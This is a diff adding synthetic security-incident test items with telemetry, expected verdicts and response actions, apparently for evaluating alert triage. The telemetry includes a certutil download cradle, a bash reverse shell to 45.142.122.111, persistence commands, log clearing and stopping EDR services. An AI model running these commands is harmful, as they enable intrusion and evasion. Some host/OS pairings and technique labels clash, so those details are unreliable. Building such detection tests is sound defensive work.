+ "expected_techniques": [
+ "T1059.001",
+ "T1027"
+ ],
+ "expected_actions": [
+ "isolate_host",
+ "quarantine_host",
+ "contain_host"
+ ]
+ },
+ {
+ "id": "INC-EVAL-063",
+ "provenance": "synthetic",
+ "title": "Living-off-the-land: certutil download cradle on WIN-PROD-WEB02",
+ "description": "certutil.exe -urlcache invoked from cmd.exe on WIN-PROD-WEB02. cmd.exe was spawned by outlook.exe. Payload downloaded from 91.134.231.15.",
+ "severity": "high",
+ "raw_alert": {
+ "title": "Living-off-the-land: certutil download cradle on WIN-PROD-WEB02",
+ "severity": "high",
+ "template_id": "certutil-download-cradle"
+ },
+ "telemetry": [
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 1,
+ "Computer": "WIN-PROD-WEB02",
+ "Image": "C:\\Windows\\System32\\certutil.exe",
+ "ParentImage": "C:\\Windows\\System32\\cmd.exe",
+ "CommandLine": "certutil -urlcache -split -f http://91.134.231.15/p.exe %TEMP%\\p.exe"
+ },
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 3,
+ "Computer": "WIN-PROD-WEB02",
+ "Image": "C:\\Windows\\System32\\certutil.exe",
+ "DestinationIp": "91.134.231.15",
+ "DestinationPort": 80,
+ "Protocol": "tcp"
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1105",
+ "T1218.009"
+ ],
+ "expected_actions": [
+ "isolate_host",
+ "quarantine_host",
+ "contain_host"
+ ]
+ },
+ {
+ "id": "INC-EVAL-064",
+ "provenance": "synthetic",
+ "title": "Container runtime abuse: malicious `docker run` on WIN-FILE-SHARE",
+ "description": "Unauthenticated Docker API on WIN-FILE-SHARE exploited from 198.51.100.23. Container with cryptominer spawned. CPU on host saturated to 95%.",
+ "severity": "high",
+ "raw_alert": {
+ "title": "Container runtime abuse: malicious `docker run` on WIN-FILE-SHARE",
+ "severity": "high",
+ "template_id": "docker-runtime-abuse"
+ },
+ "telemetry": [
+ {
+ "source": "web_access",
+ "http_method": "POST",
+ "url": "http://WIN-FILE-SHARE:2375/containers/create",
+ "status_code": 201,
+ "src_ip": "198.51.100.23",
+ "request_body": {
+ "Image": "monero/xmrig",
+ "HostConfig": {
+ "Privileged": true
+ }
+ }
+ },
+ {
+ "source": "linux_auditd",
+ "type": "SYSCALL",
+ "syscall": "execve",
+ "exe": "/usr/bin/docker",
+ "a0": "docker",
+ "a1": "run",
+ "a2": "--privileged",
+ "hostname": "WIN-FILE-SHARE",
+ "user": "root"
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1610",
+ "T1059.004",
+ "T1496"
+ ],
+ "expected_actions": [
+ "isolate_host",
+ "quarantine_host",
+ "contain_host"
+ ]
+ },
+ {
+ "id": "INC-EVAL-065",
+ "provenance": "synthetic",
+ "title": "Malicious WMI subscription on LIN-BUILD-CI03",
+ "description": "Permanent WMI event subscription created on LIN-BUILD-CI03 by [email protected]. Consumer runs encoded script. Persistence + execution mechanism.",
+ "severity": "high",
+ "raw_alert": {
+ "title": "Malicious WMI subscription on LIN-BUILD-CI03",
+ "severity": "high",
+ "template_id": "wmi-event-subscription"
+ },
+ "telemetry": [
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 19,
+ "Computer": "LIN-BUILD-CI03",
+ "User": "[email protected]",
+ "EventNamespace": "ROOT\\Subscription",
+ "Name": "UpdaterFilter",
+ "Query": "SELECT * FROM __InstanceModificationEvent WITHIN 60"
+ },
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 21,
+ "Computer": "LIN-BUILD-CI03",
+ "Operation": "Created",
+ "Name": "UpdaterConsumer",
+ "Type": "CommandLineEventConsumer",
+ "Destination": "powershell.exe -enc <encoded>"
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1546.003",
+ "T1059.001"
+ ],
+ "expected_actions": [
+ "isolate_host",
+ "quarantine_host",
+ "contain_host"
+ ]
+ },
+ {
+ "id": "INC-EVAL-066",
+ "provenance": "synthetic",
+ "title": "Registry Run key persistence created by [email protected] on LIN-DB-REPLICA",
+ "description": "New value written to HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run on LIN-DB-REPLICA. Points to roaming binary signed with revoked cert. Linked to Lazarus.",
+ "severity": "medium",
+ "raw_alert": {
+ "title": "Registry Run key persistence created by [email protected] on LIN-DB-REPLICA",
+ "severity": "medium",
+ "template_id": "registry-run-persistence"
+ },
+ "telemetry": [
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 13,
+ "Computer": "LIN-DB-REPLICA",
+ "User": "[email protected]",
+ "EventType": "SetValue",
+ "TargetObject": "HKU\\S-1-5-21-...\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\Updater",
+ "Details": "C:\\Users\\[email protected]\\AppData\\Roaming\\updater.exe"
+ },
+ {
+ "source": "edr",
+ "rule": "Persistence: Registry Run with revoked-cert signed binary",
+ "severity": "high",
+ "Computer": "LIN-DB-REPLICA",
+ "User": "[email protected]",
+ "threat_actor": "Lazarus"
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1547.001"
+ ],
+ "expected_actions": []
+ },
+ {
+ "id": "INC-EVAL-067",
+ "provenance": "synthetic",
+ "title": "Scheduled task persistence on AWS-EC2-PROD-API",
+ "description": "Hidden scheduled task created on AWS-EC2-PROD-API by [email protected]: triggers every 30 minutes, runs script from %APPDATA%\\Roaming. Persistence mechanism.",
+ "severity": "medium",
+ "raw_alert": {
+ "title": "Scheduled task persistence on AWS-EC2-PROD-API",
+ "severity": "medium",
+ "template_id": "scheduled-task-persistence"
+ },
+ "telemetry": [
+ {
+ "source": "windows_security",
+ "channel": "Security",
+ "Provider": "Microsoft-Windows-Security-Auditing",
+ "EventID": 4698,
+ "Computer": "AWS-EC2-PROD-API",
+ "SubjectUserName": "[email protected]",
+ "TaskName": "\\Microsoft\\Windows\\UpdaterTask",
+ "TaskContent": "<Hidden>true</Hidden><Exec>%APPDATA%\\Roaming\\u.ps1</Exec>"
+ },
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 1,
+ "Computer": "AWS-EC2-PROD-API",
+ "Image": "C:\\Windows\\System32\\schtasks.exe",
+ "ParentImage": "C:\\Windows\\System32\\cmd.exe",
+ "CommandLine": "schtasks /Create /SC MINUTE /MO 30 /TN UpdaterTask /TR \"powershell -f %APPDATA%\\Roaming\\u.ps1\" /F",
+ "User": "[email protected]"
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1053.005"
+ ],
+ "expected_actions": []
+ },
+ {
+ "id": "INC-EVAL-068",
+ "provenance": "synthetic",
+ "title": "Firmware implant detected on UEFI partition of WIN-PROD-WEB02",
+ "description": "UEFI secure-boot violation on WIN-PROD-WEB02. Unknown module detected in firmware. Signature matches MosaicRegressor implant.",
+ "severity": "critical",
+ "raw_alert": {
+ "title": "Firmware implant detected on UEFI partition of WIN-PROD-WEB02",
+ "severity": "critical",
+ "template_id": "uefi-firmware-implant"
+ },
+ "telemetry": [
+ {
+ "source": "windows_security",
+ "channel": "Security",
+ "Provider": "Microsoft-Windows-Security-Auditing",
+ "EventID": 4673,
+ "Computer": "WIN-PROD-WEB02",
+ "ObjectName": "\\Device\\HarddiskVolume1\\EFI\\Microsoft\\Boot\\bootmgfw.efi",
+ "ProcessName": "C:\\Windows\\System32\\driver_signing.exe"
+ },
+ {
+ "source": "edr",
+ "rule": "UEFI implant: MosaicRegressor signature match",
+ "severity": "critical",
+ "Computer": "WIN-PROD-WEB02",
+ "indicator_path": "ESP:/EFI/Boot/bootx64.efi"
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1542.001",
+ "T1027.002"
+ ],
+ "expected_actions": [
+ "isolate_host",
+ "quarantine_host",
+ "contain_host"
+ ]
+ },
+ {
+ "id": "INC-EVAL-069",
+ "provenance": "synthetic",
+ "title": "Backdoor cron job installed on LIN-DB-REPLICA",
+ "description": "/etc/cron.d entry created by [email protected] on LIN-DB-REPLICA. Reverse shell beacon to 45.142.122.111 every 5 minutes.",
+ "severity": "high",
+ "raw_alert": {
+ "title": "Backdoor cron job installed on LIN-DB-REPLICA",
+ "severity": "high",
+ "template_id": "cron-backdoor"
+ },
+ "telemetry": [
+ {
+ "source": "linux_auditd",
+ "type": "SYSCALL",
+ "syscall": "openat",
+ "exe": "/usr/bin/vi",
+ "path": "/etc/cron.d/zz-update",
+ "hostname": "LIN-DB-REPLICA",
+ "user": "[email protected]",
+ "a2": "O_WRONLY|O_CREAT"
+ },
+ {
+ "source": "linux_journald",
+ "_SYSTEMD_UNIT": "cron.service",
+ "MESSAGE": "(root) CMD (/bin/bash -i >& /dev/tcp/45.142.122.111/4444 0>&1)",
+ "hostname": "LIN-DB-REPLICA"
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1053.003",
+ "T1071.001"
+ ],
+ "expected_actions": []
+ },
+ {
+ "id": "INC-EVAL-070",
+ "provenance": "synthetic",
+ "title": "UAC bypass observed on LIN-BUILD-CI03",
+ "description": "fodhelper.exe abuse on LIN-BUILD-CI03 by [email protected]; auto-elevation triggered without prompt. Process tree shows escalation to SYSTEM.",
+ "severity": "high",
+ "raw_alert": {
+ "title": "UAC bypass observed on LIN-BUILD-CI03",
+ "severity": "high",
+ "template_id": "uac-bypass-fodhelper"
+ },
+ "telemetry": [
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 13,
+ "Computer": "LIN-BUILD-CI03",
+ "User": "[email protected]",
+ "EventType": "SetValue",
+ "TargetObject": "HKCU\\Software\\Classes\\ms-settings\\Shell\\Open\\command",
+ "Details": "C:\\Windows\\System32\\cmd.exe /c whoami"
+ },
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 1,
+ "Computer": "LIN-BUILD-CI03",
+ "Image": "C:\\Windows\\System32\\fodhelper.exe",
+ "ParentImage": "C:\\Windows\\explorer.exe",
+ "IntegrityLevel": "High",
+ "User": "SYSTEM"
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1548.002"
+ ],
+ "expected_actions": [
+ "isolate_host",
+ "quarantine_host",
+ "contain_host"
+ ]
+ },
+ {
+ "id": "INC-EVAL-071",
+ "provenance": "synthetic",
+ "title": "Container escape via privileged pod on WIN-PROD-WEB02",
+ "description": "Kubernetes privileged pod created on WIN-PROD-WEB02 by [email protected]. cgroup escape to host namespace observed. Node filesystem accessed.",
+ "severity": "critical",
+ "raw_alert": {
+ "title": "Container escape via privileged pod on WIN-PROD-WEB02",
+ "severity": "critical",
+ "template_id": "k8s-privileged-pod-escape"
+ },
+ "telemetry": [
+ {
+ "source": "k8s_audit",
+ "apiVersion": "audit.k8s.io/v1",
+ "kind": "Event",
+ "verb": "create",
+ "objectRef": {
+ "resource": "pods"
+ },
+ "user": {
+ "username": "[email protected]"
+ },
+ "requestObject": {
+ "spec": {
+ "containers": [
+ {
+ "name": "x",
+ "image": "alpine",
+ "securityContext": {
+ "privileged": true
+ }
+ }
+ ],
+ "hostPID": true
+ }
+ },
+ "stage": "ResponseComplete",
+ "responseStatus": {
+ "code": 201
+ },
+ "node": "WIN-PROD-WEB02"
+ },
+ {
+ "source": "linux_auditd",
+ "type": "SYSCALL",
+ "syscall": "openat",
+ "exe": "/bin/sh",
+ "path": "/host/etc/shadow",
+ "hostname": "WIN-PROD-WEB02",
+ "user": "root"
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1611",
+ "T1082"
+ ],
+ "expected_actions": [
+ "isolate_host",
+ "quarantine_host",
+ "contain_host"
+ ]
+ },
+ {
+ "id": "INC-EVAL-072",
+ "provenance": "synthetic",
+ "title": "Linux SUID binary abuse on WIN-DEVOPS-LT",
+ "description": "Custom SUID binary discovered in /tmp on WIN-DEVOPS-LT; allows arbitrary command execution as root. Likely escalation by [email protected].",
+ "severity": "high",
+ "raw_alert": {
+ "title": "Linux SUID binary abuse on WIN-DEVOPS-LT",
+ "severity": "high",
+ "template_id": "linux-suid-abuse"
+ },
+ "telemetry": [
+ {
+ "source": "linux_auditd",
+ "type": "SYSCALL",
+ "syscall": "chmod",
+ "exe": "/bin/chmod",
+ "a1": "/tmp/.x",
+ "mode": "04755",
+ "hostname": "WIN-DEVOPS-LT",
+ "user": "[email protected]"
+ },
+ {
+ "source": "linux_auditd",
+ "type": "SYSCALL",
+ "syscall": "execve",
+ "exe": "/tmp/.x",
+ "hostname": "WIN-DEVOPS-LT",
+ "uid": 1001,
+ "euid": 0,
+ "user": "[email protected]"
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1548.001"
+ ],
+ "expected_actions": [
+ "isolate_host",
+ "quarantine_host",
+ "contain_host"
+ ]
+ },
+ {
+ "id": "INC-EVAL-073",
+ "provenance": "synthetic",
+ "title": "Memory-only fileless implant in svchost on LIN-EDGE-VPN02",
+ "description": "Process hollowing detected on LIN-EDGE-VPN02: svchost.exe replaced with Cobalt Strike beacon to 45.142.122.111. No disk artefacts. Linked to LockBit 3.0.",
+ "severity": "critical",
+ "raw_alert": {
+ "title": "Memory-only fileless implant in svchost on LIN-EDGE-VPN02",
+ "severity": "critical",
+ "template_id": "process-hollowing-svchost"
+ },
+ "telemetry": [
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 8,
+ "Computer": "LIN-EDGE-VPN02",
+ "SourceImage": "C:\\Windows\\System32\\powershell.exe",
+ "TargetImage": "C:\\Windows\\System32\\svchost.exe",
+ "StartFunction": "LoadLibraryW",
+ "NewThreadId": 4716
+ },
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 3,
+ "Computer": "LIN-EDGE-VPN02",
+ "Image": "C:\\Windows\\System32\\svchost.exe",
+ "DestinationIp": "45.142.122.111",
+ "DestinationPort": 443,
+ "Protocol": "tcp",
+ "ja3": "a0e9f5d64349fb13191bc781f81f42e1"
+ },
+ {
+ "source": "edr",
+ "rule": "Cobalt Strike beacon (process hollowing)",
+ "severity": "high",
+ "Computer": "LIN-EDGE-VPN02",
+ "threat_actor": "LockBit 3.0"
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1055.012",
+ "T1620"
+ ],
+ "expected_actions": [
+ "isolate_host",
+ "quarantine_host",
+ "contain_host"
+ ]
+ },
+ {
+ "id": "INC-EVAL-074",
+ "provenance": "synthetic",
+ "title": "Indicator removal: Windows event log cleared on AZURE-VM-FIN-001",
+ "description": "Security event log cleared on AZURE-VM-FIN-001 by [email protected]. wevtutil.exe cl Security observed in command-line telemetry.",
+ "severity": "high",
+ "raw_alert": {
+ "title": "Indicator removal: Windows event log cleared on AZURE-VM-FIN-001",
+ "severity": "high",
+ "template_id": "event-log-cleared"
+ },
+ "telemetry": [
+ {
+ "source": "windows_security",
+ "channel": "Security",
+ "Provider": "Microsoft-Windows-Security-Auditing",
+ "EventID": 1102,
+ "Computer": "AZURE-VM-FIN-001",
+ "SubjectUserName": "[email protected]",
+ "Channel": "Security",
+ "Description": "The audit log was cleared."
+ },
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 1,
+ "Computer": "AZURE-VM-FIN-001",
+ "User": "[email protected]",
+ "Image": "C:\\Windows\\System32\\wevtutil.exe",
+ "CommandLine": "wevtutil cl Security"
+ }
+ ],
+ "expected_disposition": "suspicious",
+ "expected_techniques": [
+ "T1070.001"
+ ],
+ "expected_actions": [
+ "escalate",
+ "create_ticket",
+ "notify"
+ ]
+ },
+ {
+ "id": "INC-EVAL-075",
+ "provenance": "synthetic",
+ "title": "Disable security tooling on LIN-OBS-LOGGER",
+ "description": "[email protected] attempted to stop Defender, CrowdStrike, and Sysmon on LIN-OBS-LOGGER. Tampering telemetry triggered alert.",
+ "severity": "critical",
+ "raw_alert": {
+ "title": "Disable security tooling on LIN-OBS-LOGGER",
+ "severity": "critical",
+ "template_id": "disable-edr-tooling"
+ },
+ "telemetry": [
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 1,
+ "Computer": "LIN-OBS-LOGGER",
+ "User": "[email protected]",
+ "Image": "C:\\Windows\\System32\\sc.exe",
+ "CommandLine": "sc.exe stop CSAgent"
+ },
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 1,
+ "Computer": "LIN-OBS-LOGGER",
+ "User": "[email protected]",
+ "Image": "C:\\Windows\\System32\\sc.exe",
+ "CommandLine": "sc.exe stop WinDefend"
+ },
+ {
+ "source": "edr",
+ "rule": "EDR tampering attempt",
+ "severity": "critical",
+ "Computer": "LIN-OBS-LOGGER",
+ "User": "[email protected]"
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1562.001"
+ ],
+ "expected_actions": [
+ "isolate_host",
+ "quarantine_host",
+ "contain_host"
+ ]
+ },
+ {
+ "id": "INC-EVAL-076",
+ "provenance": "synthetic",
+ "title": "LSASS memory dump on WIN-DEVOPS-LT by [email protected]",
+ "description": "comsvcs.dll MiniDump observed on WIN-DEVOPS-LT. lsass.exe memory dumped to C:\\Windows\\Temp\\. Mimikatz signatures detected.",
+ "severity": "critical",
+ "raw_alert": {
+ "title": "LSASS memory dump on WIN-DEVOPS-LT by [email protected]",
+ "severity": "critical",
+ "template_id": "lsass-memory-dump"
+ },
+ "telemetry": [
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 10,
+ "Computer": "WIN-DEVOPS-LT",
+ "SourceImage": "C:\\Windows\\System32\\rundll32.exe",
+ "TargetImage": "C:\\Windows\\System32\\lsass.exe",
+ "GrantedAccess": "0x1010",
+ "CallTrace": "comsvcs.dll+5d24|MiniDumpWriteDump",
+ "User": "[email protected]"
+ },
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 11,
+ "Computer": "WIN-DEVOPS-LT",
+ "Image": "C:\\Windows\\System32\\rundll32.exe",
+ "TargetFilename": "C:\\Windows\\Temp\\lsass.dmp",
+ "User": "[email protected]"
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1003.001"
+ ],
+ "expected_actions": [
+ "isolate_host",
+ "quarantine_host",
+ "contain_host"
+ ]
+ },
+ {
+ "id": "INC-EVAL-077",
+ "provenance": "synthetic",
+ "title": "Brute-force credential spray against [email protected] from 172.16.50.7",
+ "description": "Credential spray from 172.16.50.7 against [email protected]. 1500 password attempts in 30 minutes. One success followed by anomalous Azure AD sign-in.",
+ "severity": "high",
+ "raw_alert": {
+ "title": "Brute-force credential spray against [email protected] from 172.16.50.7",
+ "severity": "high",
+ "template_id": "credential-spray"
+ },
+ "telemetry": [
+ {
+ "source": "azure_signin",
+ "category": "SignInLogs",
+ "userPrincipalName": "[email protected]",
+ "ipAddress": "172.16.50.7",
+ "resultType": 50126,
+ "resultDescription": "Invalid username or password",
+ "appDisplayName": "Office 365 Exchange Online",
+ "attempt_count": 1500
+ },
+ {
+ "source": "azure_signin",
+ "category": "SignInLogs",
+ "userPrincipalName": "[email protected]",
+ "ipAddress": "172.16.50.7",
+ "resultType": 0,
+ "resultDescription": "Success",
+ "conditionalAccessStatus": "success",
+ "riskLevelAggregated": "high"
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1110.003"
+ ],
+ "expected_actions": [
+ "disable_user",
+ "suspend_user",
+ "block_user_signin"
+ ]
+ },
+ {
+ "id": "INC-EVAL-078",
+ "provenance": "synthetic",
+ "title": "Kerberoasting from WIN-FILE-SHARE",
+ "description": "Service account TGS tickets requested en-masse from WIN-FILE-SHARE by [email protected]. AES256 \u2192 RC4 downgrade observed. Mimikatz tooling indicators.",
+ "severity": "critical",
+ "raw_alert": {
+ "title": "Kerberoasting from WIN-FILE-SHARE",
+ "severity": "critical",
+ "template_id": "kerberoasting"
+ },
+ "telemetry": [
+ {
+ "source": "windows_security",
+ "channel": "Security",
+ "Provider": "Microsoft-Windows-Security-Auditing",
+ "EventID": 4769,
+ "Computer": "WIN-DC-PRIMARY",
+ "TargetUserName": "[email protected]",
+ "ServiceName": "MSSQLSvc/sql.example.com",
+ "TicketEncryptionType": "0x17",
+ "IpAddress": "WIN-FILE-SHARE"
+ },
+ {
+ "source": "windows_security",
+ "channel": "Security",
+ "Provider": "Microsoft-Windows-Security-Auditing",
+ "EventID": 4769,
+ "Computer": "WIN-DC-PRIMARY",
+ "TargetUserName": "[email protected]",
+ "ServiceName": "HTTP/web01.example.com",
+ "TicketEncryptionType": "0x17",
+ "IpAddress": "WIN-FILE-SHARE"
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1558.003",
+ "T1021.001"
+ ],
+ "expected_actions": [
+ "disable_user",
+ "suspend_user",
+ "block_user_signin"
+ ]
+ },
+ {
+ "id": "INC-EVAL-079",
+ "provenance": "synthetic",
+ "title": "Active Directory DCSync from non-DC host AZURE-VM-FIN-001",
+ "description": "Replication rights abused from AZURE-VM-FIN-001 by [email protected]. All domain NTLM hashes replicated. Severe credential exposure.",
+ "severity": "critical",
+ "raw_alert": {
+ "title": "Active Directory DCSync from non-DC host AZURE-VM-FIN-001",
+ "severity": "critical",
+ "template_id": "ad-dcsync"
+ },
+ "telemetry": [
+ {
+ "source": "windows_security",
+ "channel": "Security",
+ "Provider": "Microsoft-Windows-Security-Auditing",
+ "EventID": 4662,
+ "Computer": "WIN-DC-PRIMARY",
+ "SubjectUserName": "[email protected]",
+ "ObjectServer": "DS",
+ "ObjectType": "domainDNS",
+ "Properties": "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2",
+ "ClientIP": "AZURE-VM-FIN-001"
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1003.006",
+ "T1078.002"
+ ],
+ "expected_actions": [
+ "disable_user",
+ "suspend_user",
+ "block_user_signin"
+ ]
+ },
+ {
+ "id": "INC-EVAL-080",
+ "provenance": "synthetic",
+ "title": "SAML golden-ticket: forged assertion targeting [email protected]",
+ "description": "Forged SAML assertion detected for [email protected]. Attacker pivoted to Azure AD; account enumeration followed from 10.0.99.42.",
+ "severity": "critical",
+ "raw_alert": {
+ "title": "SAML golden-ticket: forged assertion targeting [email protected]",
+ "severity": "critical",
+ "template_id": "saml-golden-ticket"
+ },
+ "telemetry": [
+ {
+ "source": "azure_signin",
+ "category": "SignInLogs",
+ "userPrincipalName": "[email protected]",
+ "ipAddress": "10.0.99.42",
+ "resultType": 0,
+ "authenticationDetails": [
+ {
+ "authenticationMethod": "Federated",
+ "succeeded": true
+ }
+ ],
+ "tokenIssuerType": "ADFederationServices",
+ "tokenIssuerName": "forged-adfs.example.com"
+ },
+ {
+ "source": "m365_audit",
+ "Workload": "AzureActiveDirectory",
+ "Operation": "Add member to role.",
+ "UserId": "[email protected]",
+ "ModifiedProperties": [
+ {
+ "Name": "Role.DisplayName",
+ "NewValue": "Global Administrator"
+ }
+ ]
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1606.002",
+ "T1087.002"
+ ],
+ "expected_actions": [
+ "disable_user",
+ "suspend_user",
+ "block_user_signin"
+ ]
+ },
+ {
+ "id": "INC-EVAL-081",
+ "provenance": "synthetic",
+ "title": "Domain enumeration from LIN-OBS-LOGGER",
+ "description": "ldap discovery from LIN-OBS-LOGGER by [email protected]: BloodHound-style queries enumerating users, groups, ACLs.",
+ "severity": "medium",
+ "raw_alert": {
+ "title": "Domain enumeration from LIN-OBS-LOGGER",
+ "severity": "medium",
+ "template_id": "ldap-bloodhound-discovery"
+ },
+ "telemetry": [
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 3,
+ "Computer": "LIN-OBS-LOGGER",
+ "Image": "C:\\Tools\\SharpHound.exe",
+ "DestinationIp": "WIN-DC-PRIMARY",
+ "DestinationPort": 389,
+ "User": "[email protected]"
+ },
+ {
+ "source": "windows_security",
+ "channel": "Security",
+ "Provider": "Microsoft-Windows-Security-Auditing",
+ "EventID": 4662,
+ "Computer": "WIN-DC-PRIMARY",
+ "SubjectUserName": "[email protected]",
+ "ObjectType": "user",
+ "AccessMask": "0x100",
+ "EventCount": 8400
+ }
+ ],
+ "expected_disposition": "benign",
+ "expected_techniques": [
+ "T1087.002"
+ ],
+ "expected_actions": [
+ "monitor",
+ "no_action",
+ "watchlist"
+ ]
+ },
+ {
+ "id": "INC-EVAL-082",
+ "provenance": "synthetic",
+ "title": "Network share enumeration on WIN-FIN-DB01",
+ "description": "Mass SMB share enumeration from WIN-FIN-DB01 by [email protected]; net.exe and PowerShell Get-SmbShare invocations across /24 subnet.",
+ "severity": "medium",
+ "raw_alert": {
+ "title": "Network share enumeration on WIN-FIN-DB01",
+ "severity": "medium",
+ "template_id": "smb-share-enumeration"
+ },
+ "telemetry": [
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 1,
+ "Computer": "WIN-FIN-DB01",
+ "User": "[email protected]",
+ "Image": "C:\\Windows\\System32\\net.exe",
+ "CommandLine": "net.exe view /domain"
+ },
+ {
+ "source": "windows_security",
+ "channel": "Security",
+ "Provider": "Microsoft-Windows-Security-Auditing",
+ "EventID": 5145,
+ "Computer": "WIN-FILE-SHARE",
+ "SubjectUserName": "[email protected]",
+ "ShareName": "\\\\*\\*",
+ "IpAddress": "WIN-FIN-DB01",
+ "EventCount": 256
+ }
+ ],
+ "expected_disposition": "benign",
+ "expected_techniques": [
+ "T1135"
+ ],
+ "expected_actions": [
+ "monitor",
+ "no_action",
+ "watchlist"
+ ]
+ },
+ {
+ "id": "INC-EVAL-083",
+ "provenance": "synthetic",
+ "title": "Pass-the-hash from GCP-GKE-NODE-04 to WIN-DEVOPS-LT",
+ "description": "Pass-the-hash lateral movement from GCP-GKE-NODE-04 to WIN-DEVOPS-LT by [email protected]. Golden ticket indicators present. Linked to MosaicRegressor.",
+ "severity": "critical",
+ "raw_alert": {
+ "title": "Pass-the-hash from GCP-GKE-NODE-04 to WIN-DEVOPS-LT",
+ "severity": "critical",
+ "template_id": "pass-the-hash-lateral"
+ },
+ "telemetry": [
+ {
+ "source": "windows_security",
+ "channel": "Security",
+ "Provider": "Microsoft-Windows-Security-Auditing",
+ "EventID": 4624,
+ "Computer": "WIN-DEVOPS-LT",
+ "TargetUserName": "[email protected]",
+ "LogonType": 3,
+ "AuthenticationPackageName": "NTLM",
+ "IpAddress": "GCP-GKE-NODE-04",
+ "LogonProcessName": "NtLmSsp"
+ },
+ {
+ "source": "edr",
+ "rule": "Pass-the-hash indicators (NTLM hash reuse)",
+ "severity": "high",
+ "Computer": "WIN-DEVOPS-LT",
+ "Source": "GCP-GKE-NODE-04",
+ "User": "[email protected]",
+ "threat_actor": "MosaicRegressor"
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1550.002",
+ "T1558.001"
+ ],
+ "expected_actions": [
+ "isolate_host",
+ "quarantine_host",
+ "contain_host"
+ ]
+ },
+ {
+ "id": "INC-EVAL-084",
+ "provenance": "synthetic",
+ "title": "RDP lateral movement from MAC-LEGAL-LAPTOP",
+ "description": "Anomalous RDP session from MAC-LEGAL-LAPTOP ([email protected]) to LIN-EDGE-VPN02 outside business hours. Source admin not normal for LIN-EDGE-VPN02.",
+ "severity": "high",
+ "raw_alert": {
+ "title": "RDP lateral movement from MAC-LEGAL-LAPTOP",
+ "severity": "high",
+ "template_id": "rdp-lateral-movement"
+ },
+ "telemetry": [
+ {
+ "source": "windows_security",
+ "channel": "Security",
+ "Provider": "Microsoft-Windows-Security-Auditing",
+ "EventID": 4624,
+ "Computer": "LIN-EDGE-VPN02",
+ "TargetUserName": "[email protected]",
+ "LogonType": 10,
+ "IpAddress": "MAC-LEGAL-LAPTOP",
+ "LogonProcessName": "User32",
+ "EventTimeUTC": "03:14:00Z"
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1021.001"
+ ],
+ "expected_actions": [
+ "isolate_host",
+ "quarantine_host",
+ "contain_host"
+ ]
+ },
+ {
+ "id": "INC-EVAL-085",
+ "provenance": "synthetic",
+ "title": "WMI lateral execution from WIN-FILE-SHARE to MAC-CFO-LAPTOP",
